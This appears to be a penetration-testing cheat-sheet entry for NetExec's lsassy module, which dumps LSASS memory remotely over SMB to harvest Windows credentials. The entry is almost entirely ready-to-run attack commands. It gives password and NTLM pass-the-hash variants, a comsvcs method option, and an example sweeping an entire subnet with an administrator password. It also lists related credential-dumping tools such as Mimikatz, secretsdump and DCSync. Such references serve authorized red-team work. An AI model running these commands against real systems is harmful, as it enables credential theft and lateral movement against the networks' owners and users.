NetExec lsassy Module (Remote LSASS Dump)
Dump LSASS remotely via the lsassy module — uses procdump/comsvcs/dllinjection methods, parses on the fly with pypykatz, and never drops the dump file to disk on the attacker side. Requires local admin on the target.
- Tool
- nxc
- Category
- Credential Attacks / Hash Dumping
- Platform
- linux
- Requires
- password
- Protocols
- SMB
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
nxc smb <target> -u '<user>' -p '<password>' -M lsassy
Credential variants
The same attack using a different authentication material.
Hash Auth requires NTLM hash
nxc smb <target> -u '<user>' -H '<hash>' -M lsassy
Specific Method requires password
nxc smb <target> -u '<user>' -p '<password>' -M lsassy -o METHOD=comsvcs
Examples
nxc smb 10.10.10.0/24 -u administrator -p 'Password123!' -M lsassy
Tags
References
Related commands
- Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
- Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
- Impacket Targeted DCSync (Single User) DCSync only one specific account instead of replicating the whole NTDS. Massively…
- Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
- Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
- Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
- Mimikatz lsadump::dcsync Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR…
- Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…